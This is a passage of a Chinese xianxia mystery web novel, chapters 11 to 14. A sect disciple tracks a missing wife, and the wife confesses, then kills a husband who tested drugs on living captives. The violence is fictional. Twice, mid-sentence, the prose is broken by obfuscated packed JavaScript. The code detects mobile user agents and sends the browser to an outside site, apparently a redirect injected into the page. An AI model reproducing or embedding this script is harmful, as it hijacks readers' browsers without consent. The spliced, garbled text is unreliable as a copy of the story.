游鸿蹲到他面前,面无表情的说道:“先生,您或许不记得我了,但我这十几年可是一点都不敢忘记你,日日夜夜,做梦都想要杀了你。”说着那句“杀了你”时,他甚至都将手放在了药师的脖颈间,但最后还是收回了手,“但我现在不会,您便在这里好好想想,这些年来您究竟都做了什么丧尽天良的事情吧。” 说完,转身想要离去,却一抬头就看见了徐赠春饶有兴趣的眼神,游鸿愣愣道:“师姐,您怎么没在养伤?” 徐赠春朝外面示意了一下,“小雨已经带人过来了,我便下来看看。”她已经撤了伪装,此刻露出了锐利的眉眼,但神情却是温和的,“从未听过游鸿师弟说这么多话,略微有些好奇。” 游鸿移开目光,张了张口,却没说话。 徐赠春从来都是一位好师姐,她笑了一下,“倘若是不便说,那便不说了,出去帮忙救人吧。” 游鸿明显松了一口气,他点点头,刚要出去,又想起了子书珹,“师兄呢?” 子书珹已经是金丹期大圆满了,再进一步便是元婴,修为要不蒙面人强上一些,那人见自己胜算不大,便跑了。徐赠春道:“追着人跑了,话说,小风筝和许乐禾呢?” 游鸿这才想起来先前薛予蓁突然断掉的传音,脸色一变,“予蓁师姐和许师兄去张家找宋璇了。” “你速速将外面的事情与我说一遍。”徐赠春神情也严肃起来。 游鸿言简意赅地将事情讲了一遍。徐赠春听着,抬手摸了一下腰间的玉佩,“居然是扶摇佩,我说当时是什么替我挡了一击。她的传音好端端的为何会突然断掉,可是听见她那边有什么异动?” “并未——” “师姐!”陶小雨一脸焦急地闯了进来,“不好了,清水宗的人传话过来,说是城外一处谷地破了一个大洞,还说,还说好像看见予蓁摔了进去!” 徐赠春一瞬间觉得脑中响起了不尽的嗡鸣声。 12. 第十二章 线索 “许师兄,你可有发现什么?”薛予蓁问道。 许乐禾难得正色,他摇摇头,“并未,而且屋内陈设整洁,不像是有人临时出逃的样子。” 两人到了张府后便径直去了张珏的房间,却见房间内整洁如常,丝毫没有慌乱逃离的样子。那么宋璇能被张珏带到哪里去呢? 正当二人一头雾水的时候,整个张府便乱了起来,外面的丫鬟小厮胡乱窜着。张家老爷想带着家眷银两从侧门逃跑,却被陶小雨带着人堵了个正着。许乐禾看着乱作一团的张府,皱着眉头,虽然并未言语,但薛予蓁也看出了他的担忧,正要开口之际,感觉自己胸口的寒玉心猛地颤动了一下。她脸色瞬间大变,抓着许乐禾的手道:“许师兄,你去接替小雨主持张府这边的事情,叫小雨带人去支援子书师兄他们。” “我之前看徐师姐什么都没带,担忧她出事,便将扶摇佩偷偷给她带上了,方才寒玉心出现异动,怕是师姐那边真的出了什么事。” 许乐禾倏地看向她,“什么?!” 徐赠春是他的同门师妹,就算平常两人也不算对付,但不仅是在同一个师父门下修习,更是从小便一起长大,情谊更甚。许乐禾担心她,却也担心薛予蓁,“可我过去了,你怎么办?” 薛予蓁道:“我在这边再探探,若是找到线索一定先同你说,再说了,我有寒玉心在,即便出了什么事情,也不至于立即毙命。” 许乐禾一听这话,狠狠敲了她一下,“说什么不吉利的话呢,呸呸呸!”不过他也是同意了薛予蓁的话,再三嘱咐她注意安全后便朝着前厅去了。 薛予蓁在张珏房里又翻了一圈后仍旧没找到什么。她稍微感到有些挫败,正要出门的时候,余光却扫到了一旁桌上的灵霖果。灵霖果,宋璇……电光火石之间,有一个想法陡然出现,张珏这几个月一直都在被宋璇下毒,身体状况每况愈下,真的能掳走宋璇吗?即便是吃了什么药,暂时恢复,但宋璇并非是柔弱女子,她是真的被张珏迷晕后带走的吗?可宋璇要走,为何不带走彩玉?彩玉说的话到底能信几分? 宋璇宋璇宋璇!薛予蓁当即便朝着宋璇的房间走去。 前日来这里,一直注意着宋璇的动作,倒是没在意房内的布置,现在细细看来,宋璇的房间陈设太过于简单了,要么不受待见,要么是宋璇不愿意接受张珏的示好。根据传言来推断,恐怕是后者,那么这样看来和张珏恐怕也只是表面夫妻,那她会愿意和张珏一同离开吗?薛予蓁到宋璇的房间第一时间就去看了先前那把剑,果然,被带走了。这便说明,彩玉说了谎,宋璇并非是被迷晕带走,但她为何要和张珏一道逃跑? 思路到这里便断了。薛予蓁沉下气来去翻找宋璇的东西,可她的东西实在是太少了,就连衣橱里都没几件衣服——等等!薛予蓁将里面一件衣裙拿了出来,宋璇也是难得的身量高挑的女子,这件衣服却要小一些,明显不是她的尺寸,她为何要留一件不适合自己的衣裳?薛予蓁将衣裳放在一边,又去看梳妆台的抽屉,里面除了耳环珠钗外,便只有一封信有用了。 看着这封信,薛予蓁却有些不敢相信,这信突兀的放在这里,摆明了作为线索的作用,宋璇是刻意要将这东西留给人看的吗? 但信中的内容不多,只是一人对另一人表达的思念和日常生活的分享,只是这些事情都是关于张珏的,薛予蓁心中对这写信的人隐隐有了猜测。看到最后,果不其然看见了落款是刘君雅,张珏的那位已经过世的小妾,刘家的那位小姐。 刘君雅和宋璇有什么关系,或者说,难道刘君雅的死和张珏有什么关系?薛予蓁将信塞进怀中,又去查看房间里的其他的东西。宋璇的东西是真的少,薛予蓁翻了又翻后最终将目光落到了墙上挂着的一幅画上,画得是平阳城的热闹街景。从画可以看出作画之人的技巧极为了得,画中小贩的吆喝,孩童嬉戏,甚至于街角巷尾的乞丐和流民都栩栩如生。热闹的景象和乞丐流民的可怜,让这幅画表达的情绪极为割裂。 薛予蓁皱着眉去触碰那幅画,指尖从一个个景象上拂过,最终落在巷尾的流民身上,感受到了一个小小的突起。薛予蓁心道果然,刚才看画的时候就觉得这人怀中捧着的馒头有些过于明显立体了。 她试探性的按了一下,一道轻微的机关声响过之后便有一个木头小盒掉了出来。薛予蓁眼疾手快地接住了小盒。这盒子还颇有重量,打开一看,里面是一大叠纸。字迹最新的那张纸上写着——这个丧尽天良的畜生是时候该付出代价了!!字的力道之大甚至都要将这张戳破了。 薛予蓁拿着这纸有些疑惑,这么看来,宋璇或许很早之前就在计划要将张珏杀了。她暂时放下这张纸,去找其他的线索,果不其然在其中发现了一张平阳城一带的地图。 图中以红色的圈点出目的地,竟然就在平阳城西侧的树林间。但平阳城依山而建,城外的树林因为山势的缘故,地形复杂,若是没有提示,根本找不到位置。但宋璇却是直接将位置标了出来,还在下面注了一行小字——自此,径直西行。 林中视野有限,薛予蓁不得不将速度慢下来,她挥剑斩断挡路的树枝杂草,心中有些忐忑。她按照宋璇留下的线索一路走到这里,可这里荒芜的样子并不像是有人自这里走过,是中计了还是宋璇遇到什么事情了? 薛予蓁紧握着剑,心情略微沉重,不知给许师兄留下的提示他能不能看懂,若是自己当真是中了计,能在张珏手中讨到好吗?宋璇在这起事件中到底扮演的什么角色?她正胡思乱想着,这时,不远处突然传来一声哀嚎,惊起一片飞鸟。薛予蓁精神一振,立马朝着那边跑去。山林里面路线复杂,听着声音就在耳边,等真要找过去,却发现是在头顶的位置。薛予蓁无法,只能沿着山壁往上爬,好在山壁并没有那么陡峭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471909|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也有可以落脚的位置。当她就要爬到顶时,却突然觉得自己身旁有什么东西掉了下去。 薛予蓁:…… 薛予蓁心中暗骂一声,几步跳了下去。掉下来的是一具尸体,薛予蓁见他穿着眼熟,掰过脸一看,果然是张珏的那个小厮。这小厮既然出现在这,那便说明薛予蓁并未找错地方,他又是被人从上面丢下来的…薛予蓁抬头看了看,宋璇和张珏一定还在上面。只可惜人死了,不然还能问出上面除了宋璇和张珏之外是否还有别的人。 薛予蓁本想直接走,但刚走出几步便停了下来,她回头看了小厮的尸体几眼,沉默半晌后出剑朝着树冠挥出几道剑风,落叶层层叠叠将他的尸体掩埋。 “下辈子,别再跟着这种人做事了。” 心中的石头放下了,薛予蓁的速度就快了不少,不到半盏茶的功夫,她就到了山崖上。回首望去,正巧能看见张府。 “倒是没走错路。”薛予蓁低声自言自语道。 说完便朝着深处走去,上面的林子里倒是有了人走过的痕迹,还有不少血迹。薛予蓁猜测应该是那个小厮的,这般出血量,伤的人是奔着要他死下的手。而拼死都要往外走,而不是更在他家少爷身边,看来前面只有宋璇和张珏两人。 薛予蓁丢掉沾着血迹的枯叶,皱眉不解,“为什么只有他们三人跑到了这里来?”即便事发突然,张珏怎么可能只带宋璇和小厮离开? 痛,好痛!头痛,胸口痛,全身都在发痛。张珏迷迷糊糊地醒过来,他几乎是一瞬间就想起来自己晕过去前发生的事情——他的妻子,那个疯女人,拿着剑一剑捅穿了平遥,血都溅到他身上来了。他脸色大变,想要立马就跑,离开这个疯子,却一点也动不得,因为他被捆在这里了。往日风光无限的张家公子,被无数人称赞的张家少爷,此刻被捆在一张简陋的木板床上,被困在了一间破房子里。他心中又惊又怕,想要大声呼救又怕被宋璇听到,一时间情绪上头,脸被憋得通红,哪里还有人前端方如玉的样子。 宋璇立在门口欣赏了一会儿他的窘迫,才噗嗤一声笑了出来。这声音自然惊醒了张珏,他倏地扭头看向门口,在看见宋璇的一瞬间,瞳孔紧缩,惊出一身冷汗。宋璇还提着那把剑,粉色的裙摆上是斑驳的血迹,甚至脸上也沾染了一些,她看着张珏,笑得小意温婉。 “这是怎么了?我不过是杀了一个下人罢了,相公怎么就被吓成这样了?”她缓缓地走到床前,抬手抚摸着他的脸颊,下一瞬间便移到他的脖颈间,语气陡然狠毒,“往日你杀人的时候,也会露出这样害怕的神情吗?” 张珏被她的气势震慑到了,好半天都只能急急地喘着粗气。 “说不出话来了吗?”宋璇又温和下来,她好像也累极了,坐到了床边,“没关系,我来说便好。” “我原本,原本想到只是活着,不管如何活着便好。” 13. 第十三章 真相 宋府的日子实在是不好过,宋璇清楚地记得自己是父亲的第五个孩子,是家里的第五个女孩。在她之前还有四个姐姐,而在她之后也还有着不知道多少个妹妹。宋明仁仿佛没有儿子缘一般,无论找什么人,找多少人,生出来的都只有女儿。日子一天天过去,府里的小姐还在增加。宋璇一开始还期盼着得到父母的喜爱,无论是功课还是技艺,都拼命地学着。府里请来的先生说,她比他教过的好些男儿还要厉害。她欢喜的去告诉了父亲,却被当众打了一巴掌,那时她才不过十岁。她下意识地去看母亲,去寻求她的庇护,而母亲却看也不看她,只慈爱地抚摸着有一次隆起的肚子。可到了岁末,随着一声啼哭,母亲又生了一个妹妹。 十岁的宋璇终于不再期盼父母的喜爱了,或者说,她在宋家从未受到任何一人的喜爱,她虽父母双全,却比那街角巷尾的乞儿还可怜。又一年过去,因着腹中胎儿的流产,母亲再也不能有孕,也是这样,这年过后,数不清的姑娘被抬进宋府,又被抬出去,可尽管这样,宋明仁始终没有儿子。但即便如此,宋明仁依旧看不起女子,可也没办法,只能带着女儿从商。宋璇知道这是自己的机会,她也攒着劲往宋明仁眼前闯。宋明仁本就是个经商的奇才,可他不愿意将家业传给世人眼中始终会嫁出去的女儿,也不愿意将这些分给同胞兄弟。万幸的是,宋璇继承了他的头脑,十五岁这年,宋璇终于被宋明仁看在眼中去了。 可好景不长,宋明仁在府外养的外室居然真的给他生了一个儿子。宋明仁自然是将这个女人纳进府中,这女人的惯是会哄人,三言两语哄得宋明仁竟然想要休妻。 “她好歹是我的母亲。”宋璇感叹道,“我那些姨娘生的姊妹些,不是被送人了,就是被丢了。你说,若是我母亲真的被休了,我处境该会如何?” 张珏的情绪终于平复了些,他抖着唇说道:“你,你,你,宋璇,我待你也不薄,你为何要——” “我把她杀了。”宋璇语气平淡道。 张珏闻言眼睛陡然瞪大,“你那时才不过几岁!?” 宋璇宛然一笑,“十六。” 宋璇自然不能让自己母亲被休,她好不容易才在宋家立足,好不容易才摆脱了幼时的阴影。 “我找到了那位姨娘,我告诉她,她和她的儿子只能活一个。” 在宋府的日子从五岁之后就变得越来越差,丫鬟会克扣食物和衣物,冬日里连丫头都穿的比她这位小姐好。其实宋璇也不觉得怎么样,她甚至觉得自己被赶出宋府去街上做乞丐也可以,但没人赶她出去,而后来她的堂哥竟然妄图侵犯她。 她那时小小一个,被衣冠禽兽的堂哥堵在柴房里,堂哥脸上是狰狞的笑,嘴里说着不过是个贱丫头,手便伸着来拉扯她的衣服。她哭喊着救命,却无人来救。可幸好,她摸到了下人遗留在柴房的镰刀,拼尽全力挥出的那一刀换了的是祖母的一顿毒打和自己的一条命。堂哥眼睛瞎了一只,沾着满手的血便鬼哭狼嚎的去告状了,他是宋家难得的男丁,自小被放在心尖上宠着。十五六岁的男儿像个小孩一样蜷缩在小巧的女人怀里,嘴里不干不净地咒骂着她。祖母便极其厌恶宋璇了,她要她跪一个月的祠堂,要以家法惩治她。 宋璇被下人按在地上拿鞭子抽的时候,拼着命地抬头去看堂哥,看他缩在祖母怀里,露出的那只完好的眼中全是得意,这一瞬间宋璇脑中闪过的念头是,为何自己没将这人捅死。 后来宋璇也没跪祠堂,因为宋明仁觉得这是祖母在看不起自己,看不起他生不出儿子,说其他几房是在嘲笑他。祖母是宋明仁的生母,怎么听得自己的儿子说这种话,当即就放了宋璇。这段时光,也是宋璇记忆里唯一一次母亲真如寻常人家的母亲一样细心地照顾她,呵护她。 “我没办法,我若是太软弱,便是谁都可以欺负我,所以我只能让自己强大起来。”宋璇道,“他们后来都打不过我,也算计不过我,我在宋家自此有了立足的机会。” 姨娘威胁了母亲,威胁到了自己,宋璇觉得她可怜,但自己更可怜。她给了姨娘选择,但她太贪了。所以,宋璇没留着她。 有车夫醉酒御马,冲撞了带着小少爷出门的姨娘,姨娘为了保护小少爷,惨死在马蹄下。没了娘的小少爷,合该养在主母膝下。 借着这小少爷的名头,宋璇也是过了几年好日子。她当自己总算是熬出头了,可宋明仁等了二十几年才等来的儿子,将他宠的无法无天,什么混事都干得出来。 三年前,宋小少爷一通大闹毁了与张家的合作,为了填补空缺,宋明仁又起了送女儿的心思。 “三年前,我分明还有那么多姊妹待嫁,可他还是选了我。”宋璇疑道,“我当初纳闷得很,我还以为他会留着我给他那成不了什么气候的儿子做事呢。现在想想,张少爷,这里面莫不是还有你的手笔呢。” 她也哭过闹过,甚至以死相逼,但在宋明仁心中她实在是比不上他那小儿子。而宋璇的母亲也早已将一颗心都放在了宋小少爷身上,那日跪在她面前求她时,妇人说的唯一一句话便是“你多为你弟弟想想吧”,仿佛这孩子真的是从她身上掉下去的一块肉一样。 “这一件件一桩桩的事情,实在是折磨我够久了。所以我嫁与你的那日本已经认命了。”宋璇话风一转,“我本想着,和你做这几十年的表面夫妻便好,左右你也不会在我一人身上吊死。可你偏要去做那些丧尽天良的事情。” 薛予蓁听着宋璇说着自己的往事,本以为这已经是全部了。谁承想她还在继续说,说那些听听得人怒火中烧的畜生事。 宋璇没给张珏插嘴的机会,她嗤笑一声,“‘路遇山匪,因此丧命’,编出这样的话,你也不怕午夜梦回的时候君雅妹妹来锁你的命。” 这个名字略微有些熟悉,薛予蓁想了想,这是张珏后面纳的妾——刘君雅。 “也是,毕竟你是知道她是如何死的,魂灰魄散,哪里有机会来锁你的命。可张珏,以活人试药,你就没有哪怕一瞬是害怕后悔的吗?” 活人试药!!薛予蓁神色一凛,哪怕她幼时不曾学过这些,也从她母亲口中听过这些,活人试药早在三百年前就已经被废止。 陷入回忆的宋璇不知道一墙之隔的薛予蓁心中的震撼,她此刻眼角泛红,心中沉痛不已。 她与刘君雅差了两岁,幼时也不过是有个几面之缘。两年前,刘家将刘君雅送来给张珏做妾,那时张珏同宋璇成婚一年,却始终讨不到好脸色。刘君雅不知道张珏暗中在做什么,她虽是庶出,却也是在刘府被宠着长大的,性格比宋璇还要温和几分,也很快就被张珏翩翩君子的模样吸引。二人相处倒是比宋璇和张珏更像是夫妻,但刘君雅并不恃宠而骄,她还记得宋璇这个童年时见过的小姐姐。 宋璇本以为在张府的日子会是日复一日的一潭死水,除却看书便是闲坐发呆。但刘君雅的出现让宋璇的心境得以缓解,两人相处得意外的好,就在宋璇以为自己往后的几十年里会一直有刘君雅的陪伴时,意外又一次的出现了。 一年前,宋璇突然接到远嫁他乡的姐姐的信,说是受了委屈,实在待不了了,叫宋璇救救她。虽然宋家待宋璇极为凉薄,但她的几位姐姐却是真切的对她好过,也是宋璇在张家枯坐许久,想出去看看了,便只留下一句口信就离开了。姐姐的事情是解决了,可一月之后回来便得到了刘君雅丧命的噩耗。张家给出的解释是刘君雅外出游玩的时候,遇到山匪,被凌辱后接受不了,当场自尽了。但宋璇怎么会信?刘君雅胆子小,又是从小被养在深闺里,怎么可能会自己出去游玩。况且宋璇还在宋府时有段时间常和宋明仁出远门,不知道经过那段路多少次过,怎么从来都没有碰见过所谓的山匪。 回来后,宋璇也暗中查过几次,但得出来的结果都是——路遇山匪,因此丧命。 “若不是几月前我实在是心中不甘,独自一人出了城,恐怕到死都查不到这件事。”宋璇吐出一口气,缓缓站起身来。 半年前,宋璇心中苦闷无处发泄,晚间饮了酒,小睡一觉后,夜里陡然惊醒。但心中还是酸楚得不行,于是也没告诉任何人,自己悄声出了城。也正是因为半夜出去,才被当作是落单的异乡女子抓了去。 抓她的人并不熟悉张家,也不熟悉流程。宋璇在地牢里醒来的时候,无人管她,而她看着牢里那些廋骨嶙峋,奄奄一息的试药人也几乎被惊得说不出话。更为巧合的是,宋璇所在的牢房对面竟关着早已“死”去的刘君雅。刘君雅脸上是不健康的白色,她郁郁寡欢地靠坐在牢笼边上,目光呆滞地盯着虚空看。 宋璇本来还在为她还活着感到高兴,瞧着她去瞧出了点异样——刘君雅分明脸颊消瘦,手臂也廋弱的像是稍一用力就会被折断,可腰腹处却异常的凸起。她心中升起一个惊惧的想法,就在她还在想办法如何逃出去的时候,管事带着张珏来看新抓的试药人。宋璇这时所有的念想都被击碎了,她本应该惶恐无措,可不知为何,在张珏踏入她视线的那一刹那,她出奇地冷静下来了。 比起张珏看见她时的惊慌难堪,宋璇冷静得仿佛一开始就知道他做的这些事。她虽处在肮脏的监牢内,却像是在茶楼雅间一样端坐着,看着张珏时只平淡地说道:“你的人,为何会连我都不认得?” 张珏见她神色平静,毫无怒气,心中平和了许多,他也不言语,反手甩个管事一个耳光。管事自然是认得宋璇的,他苦哈哈的赔礼道歉,“兴许是新来的打手未曾去见过夫人,这才抓错了人。少爷见谅!夫人见谅!” “还不将夫人放出来!”张珏怒道。 管事一边弯腰应是,一边眼神示意着看守快去开门。 张珏自觉做错了事,殷勤地将人扶了出来,问道:“如此深夜,阿璇怎么独自一人出了城?” 宋璇意有所指道:“你忙于公事,不曾有太多时间在府中,我好不容易得个伙伴相与,不过出趟门便没了。实在是府中待着困倦,今日见月色正好,便出了城,想回顾一下往昔,可谁知……” 闻言,张珏眼神闪躲着,“阿璇平日里冷冷清清,我还当阿璇不喜吵闹。” 宋璇心系刘君雅,却也不得不和张珏在此周旋,她神色一变,显得楚楚动人,“我此番前去帮姐姐处理那破事才明白居然嫁得良人,原先以为不过是父亲以我换取利益,可去了姐姐那才知道自己过得是什么好日子,你不曾在外寻花问柳,也不曾有人催促孩子,我在府上日日欢乐。” 成婚一年多,张珏哪听宋璇同自己说过这样多的话,更别说这近乎剖白的话语,他喜色浮于脸上,“这,阿璇的意思是…”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471910|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我想你后来颇为喜欢君雅妹妹,莫不是因为对我失望了,想着回来向她取取经,讨你喜欢,可谁知她……”宋璇神色落寞地说道。 张珏这会真是大喜过望,他原先以为宋璇看到他做这些脏事烂事,必定对自己更加厌恶,却不曾想到会得到这样的答案。他欢喜地抱住宋璇,“怎么会,怎么会!阿璇,我自少年起便心慕与你,怎么会觉得你不好。我,我,我…”他结巴了半天,小声道,“我只怕你知道了我做的这些腌臜事,会更加厌恶我。” 宋璇就这被抱住的姿势,藏匿起快忍不住的狠厉眼神,口中却柔声道:“怎么会呢,以往便有过猜测,你天资盛名在外,肯定不会拘于平阳城。我曾经同爹爹出去行商,也听闻过不少,这些事儿。”她轻笑一声,拍了拍他的背,示意他将自己放开。 张珏嗅见了她身上的酒味,对她今晚的异常有了解释,“闻见阿璇身上酒香,原是这样才如此大胆说这些。” 宋璇心中感到恶心,却分毫不得表露出来,她闻言只抬手做羞怯状捂住了脸。醉酒好啊,沾了酒,很多事情与平日里有些出入便是正常的了。 这时,她才状似不经意地看见了旁边的刘君雅,诧异道:“这,这不是君雅妹妹吗?不是说她已经……” 张珏看过去,眼中没有半点波澜,“她也是被下面的人不小心抓来的,不过她看见这些便像个疯子一般哭闹,还是骂我说是丧尽天良。本想着将她一并用来试药,却不曾想她,有孕了。”最后三个字张珏放的格外轻,似乎是是怕宋璇听见后生气。 心中的猜测得以证实,宋璇这瞬间只想将张珏生生掐死,可看着曾经爱闹爱笑的女孩变得如今一副心如死水的样子,却只能装作不在意,只道:“丧尽天良,呵,到底是个小姑娘。商人,便是无往不利。我倒觉得,若是能凭此一跃而上,也没什么做不得。”她心中明白,张珏现在还能表现得爱她爱得不行的样子,但倘若自己表现出一点对他不利的地方,刘君雅的样子就是她的未来。 而后她才像是反应过来一样,惊讶道:“有孕了?是?” 张珏摸摸鼻子,“是我的孩子。” 宋璇体贴地拉住他的手,“你也知我在宋府时并不好过,我的母亲几乎一生都在生孩子,直到生不出来,而我幼时又饱受家中打压,大夫说,恐怕很难有孕。”她指了指刘君雅的肚子,“若是孩子平安生下来,便交由我抚养吧。” 张珏惊喜地看着她,“阿璇,你我说是心有灵犀也不为过。”再怎么说,刘君雅也是他的妾室,孩子也流着他身上的血。 宋璇温婉一笑,蹲下身看着刘君雅,道:“妹妹有些消瘦啊,为了孩子,还是好好照看她吧。” “都听阿璇的。” 宋璇的表现当然不能一下就被张珏全盘信任。或许是为了测试,偶尔宋璇打着照顾刘君雅的名头来看望时,正巧碰上试药,张珏也不会叫人避开她了。但她实在表现得太为让人喜爱——不仅不会觉得残忍,还会就着这两年无事看的药书来评价两句,张珏简直对她满意极了,便也不再这样试探她。但谁都不知道,宋璇看着眼前无辜人被折磨的时候,多少次指甲都生生地刺破皮肉,幸好地牢内本就满是血腥味,她才没有被发现。 她本想着,先将孩子放在身边,再以孩子小,离不得身生母亲的由头将刘君雅带出来,或许还能找个机会将她们送走,而后一步步的,悄悄的将张珏的事情捅出来,就算赔上性命也无妨。 可事情还是没有按照宋璇想的那样发展。刘君雅并不是一开始就被发现有孕了,而是她被用作一次试药后,才被医师查出来。因为吃了那药,所以刘君雅十月怀胎生下来的是个畸形儿。 宋璇得知此事后大病了一场,张珏本不想叫她再去地牢,可还是拗不过她。 于是这成了宋璇见刘君雅的最后一面。 在她们见面的前一刻,看守说,刘君雅疯疯癫癫的,在地牢里大吼大叫,最后亲手掐死了她的孩子。宋璇看见她的时候,她浑身都是伤口,生产过后并没有给她修养的时间,便将她投入试药人的行列里。她实在是太瘦了,宋璇看见她的时候几乎要认不出她来。 最后宋璇支开了看守,独身走进了关着刘君雅的房间。刘君雅缩在角落里,半尺前放着那个被她掐死的孩子,宋璇低头看了一眼,险些呕了出来。 她小心翼翼地靠近刘君雅,温声道:“君雅,你还记得我是谁吗?” 下一刻,刘君雅尖叫着扑在她身上,又打又骂。待看守们听见声音赶过来将她拉开后,她看了宋璇一眼,一头撞到剑上,鲜血流了满地。 刘君雅死了。 “你知道么?”宋璇道,“孩子出生的那一刻,君雅便就清醒了。” 刘君雅死后,宋璇失神了许久,久到回了张府,脑海中都还是她死前那决绝的眼神。 她看见了刘君雅扑向她时清醒又痛苦的眼神,听见了她在她耳边说“即便他这样也依旧是我的孩子,可是他们却拿我我的孩子试药!”,听见她痛苦的说“姐姐,我知道你并未和他同流合污,快逃!快逃!” 刘君雅不愿看到自己的孩子被当作一个物件一样使用,于是她亲手了结了他。正如她知道宋璇一定不会是这样草菅人命的人,于是在最后告诫她,快跑。 14. 第十四章 师兄 宋璇深深地吸了一口气,拿起了随手放在一边的剑,她垂眸看着张珏,喃喃道:“明明,就差那么一点点了…” 张珏见她拿起剑,害怕极了,他想要逃离,却被绳索死死地束缚在这张破烂的小床上,他哀求道:“阿璇,阿璇,你别这样,别这样,我,我那么爱你,我——” “我其实一直都很好奇,宋家那么多女儿,你为什么就偏偏看上了我?我同你分明半点交集都没有吧?”宋璇疑道。 张珏见状,急急道:“怎么会呢?阿璇你忘记了吗?幼时冬日里,我那时还未被父亲重视,被几名孩子欺负,坐在府外哭,是你,是你递给我一张手绢,是你对我说‘不要哭了’。你都不记得了吗?” 宋璇嗤之以鼻,“你何故为了活命编这般恶心的故事出来?” “我没有,我没有!那方绣着你名字的手绢,现如今我都还好好收着,我怎么会骗你呢?”张珏吼道。 “手绢?绣着我名字的手绢?”宋璇重复道,而后她突然爆发出一阵大笑,“手绢?哈哈哈哈哈哈哈…咳咳……” “我可不记得我做过这些东西,我幼时在宋府如此待遇,又怎么会有这等闲暇逸致……”她抬头拭去眼角泪水,摇着头苦笑着看向张珏,“张珏啊张珏,你真是……呵呵呵……” “你!你笑什么!?”张珏看着她这样的反应,心中隐隐觉得不对劲。 宋璇低低地笑着,“我笑你可怜,可悲…”她恨恨地看着他,“我笑你,亲手杀了你最爱的女人。” 张珏惊恐地睁大双眼,不停地摆动着,“你什么意思?!你这话什么意——” 可惜他没能将这话说出口,长剑毫不犹豫地洞穿了他的胸口,他口中呛出一口鲜血,难以置信地瞪着宋璇,“啊…………啊……啊……” 宋璇利落地抽出长剑,带出来的血溅了她一身,有一滴正巧落在她的眼下,下一刻又混进一滴泪砸进了尘土中。“幸而君雅妹妹走得早,不至于叫你现在死了之后,脏了她的黄泉路。”说罢,她又捅了张珏十几剑,血液顺着床板流下,彻底染红了她的裙摆。 “去地狱里,向无辜之人忏悔你的罪孽吧。” 这句话说完,宋璇便脱力般地坐倒在地,手中长剑掉落在一旁。 宋璇微微喘息了几下,看着门口道:“听了这么久了,就没什么想说的吗?” 门口衣摆一闪,薛予蓁自一旁走了出来,她手中还攥着剑,看着宋璇的眼神却复杂至极。 看见是薛予蓁,宋璇却有些惊讶,她不自在地遮掩了一下血红的裙摆,“怎么是你?”她方才只察觉旁边有人,却没想到是这位小姑娘。 薛予蓁迟疑了好半天才开口道:“我看见你留下的消息找到这里来,怎么就不能是我了?”她循着血迹找到这件藏在山洞里的小房子,本想直接将人抓回去,却恰好听见了宋璇在说那些往事。此刻,看着房内如此模样,理应是将宋璇一道缉拿下山,可宋璇讲的那些事却缠在她的心间,叫她犹豫不已。 宋璇知道她还在介怀自己之前说她“猪脑子”的事情,心中不禁感叹,果真还是小孩子。但却是轻轻摇了摇头,“当然可以是,薛姑娘很聪明。”她看出薛予蓁的犹疑,主动道,“薛姑娘将我绑下去吧。你应当也听见,看见了。平阳城之事,均是张珏、张府之人所为。而我,”她笑了一下,“也是个杀人凶手。” 薛予蓁看了她一眼,“你真的给张珏下了毒?” 宋璇不知她为什么提到这个,“误入地道那日之后,我便在想办法,本想直接杀了他,却又觉得这样太过于便宜他了。我要让他一点一点慢慢疯掉,让他一点一旦看着自己变成废人,可惜,一切都太迟了…”说着她又想起来什么,连忙补充,“灵霖果只与浮烟草一起才起作用,我给你果子那日是真的觉得你很可爱,笑起来时仿佛看见了一位旧人。” “我并不是…”薛予蓁没想到她会说这个,她只是单纯的好奇。但如今说什么也是徒劳,她走到张珏的尸体旁边,从袖中掏出一张符箓,又简单地画了个保护阵,将此地围护起来,便将信号弹放了出去。 做完这些,她看向宋璇,“你还能走吗?能走的话,跟上我。” 宋璇自然能走,跟在薛予蓁的身后同她一道下山,两人一路无言。宋璇想着自己或许会被直接处理掉,却没想到薛予蓁并没有带着她往城中走。 看着面前的银两和衣物,宋璇有些发怔,她好半天才找回自己的声音,抬头诧异地看着薛予蓁,“你,不将我带回去?” 薛予蓁将东西塞进她的怀中,“宋小姐,你的态度其实真的很奇怪,简直是破绽百出,一边同我说张家有错,一边又和张珏表现得是一家人。我也在怀疑,山上是不是你演的一出戏。” 宋璇急切的想要辩解,却被薛予蓁抬手止住了,“但是,我还是想要相信你。我,我在你的衣橱里看见了刘小姐的衣物,还有几件小孩子的衣裳。”她笑了一下,“你的绣工真的很差,比我师姐的都还差。” 听见她说这话,宋璇倏地开始流泪,“你……” 薛予蓁却摆摆手不叫她再说,“你应当比我要熟悉平阳城这边的道路,我送你一段。”她回头看了看天上消散的门徽,“我们还是抓紧时间,许师兄他们看见信号弹,很快就会赶来,届时你便不是那么容易走掉了。” 宋璇擦掉泪,点点头,“这边走。” 薛予蓁对宋璇的情感还是比较复杂,一路上宋璇提起的话头都被她忽视了,只是最终分别之时,宋璇没忍住终于问她:“你真的信我没参与张家的事?” 薛予蓁一脸疑惑地看着她,“你能找出给张珏下毒的那个方子,便说明你能力不低,但宋家现在还安然无恙不是吗?” 宋璇一时动容,刚想给她说些什么,却忽的脸色大变,急声道:“小心!!” 薛予蓁旋身躲过一剑,站定后就抽剑刺出,将宋璇护在身后。来人轻松挡下薛予蓁的攻击,沉声道:“知源宗的小丫头?” “你是何人?” 